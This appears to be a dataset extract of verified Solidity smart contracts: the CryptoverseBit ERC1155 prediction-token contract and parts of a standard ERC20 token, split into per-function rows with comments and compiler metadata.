uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | calculateTotalScore | function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
| /**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
11606,
12021
]
} | 11,215 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | strConcat | function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
| /**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
12165,
12617
]
} | 11,216 |
||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
| /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
282,
705
]
} | 11,217 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
921,
1041
]
} | 11,218 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
| /**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
415,
903
]
} | 11,219 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1555,
1761
]
} | 11,220 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | allowance | function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2097,
2236
]
} | 11,221 |
|
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
